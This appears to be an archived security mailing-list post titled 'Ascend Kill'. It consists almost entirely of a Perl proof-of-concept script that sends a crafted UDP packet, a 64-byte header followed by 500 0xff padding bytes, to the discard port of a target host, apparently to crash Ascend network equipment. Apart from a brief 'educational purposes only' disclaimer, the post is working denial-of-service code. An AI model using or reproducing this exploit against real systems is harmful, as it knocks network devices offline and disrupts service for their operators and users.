Ascend Kill

[Thomas.Michaux () cge net (Thomas Michaux)]

#  NOTE: This program is NOT to be used for malicous purposes.  This is
#        intenteded for educational purposes only.  By using this
program
#        you agree to use this for lawfull purposes ONLY.


#!/usr/local/bin/perl
$| = 1;
use IO::Socket;
use Socket;

$sock = IO::Socket::INET->new(PeerPort => 'discard(9)',PeerAddr =>
'host.domain', Proto => 'udp') or die "Socket:$!";

$msg = pack("c64",
0x00, 0x00, 0x07, 0xa2, 0x08, 0x12, 0xcc, 0xfd, 0xa4, 0x81, 0x00, 0x00,
0x00, 0x00, 0x12, 0x34, 0x56, 0x78, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
0xff, 0xff, 0x00, 0x4e, 0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0x4e,
0x41, 0x4d, 0x45, 0x4e, 0x41, 0x4d, 0x45, 0xff, 0x50, 0x41, 0x53, 0x53,
0x57, 0x4f, 0x52, 0x44, 0x50, 0x41, 0x53, 0x53, 0x57, 0x4f, 0x52, 0x44,
0x50, 0x41, 0x53, 0x53);

for ($i=0; $i<500; $i++) {
  $msg .= pack("c1", 0xff);
}

$sock->send($msg) || die "send:$!";
print "Message sent\n";
$sock->close();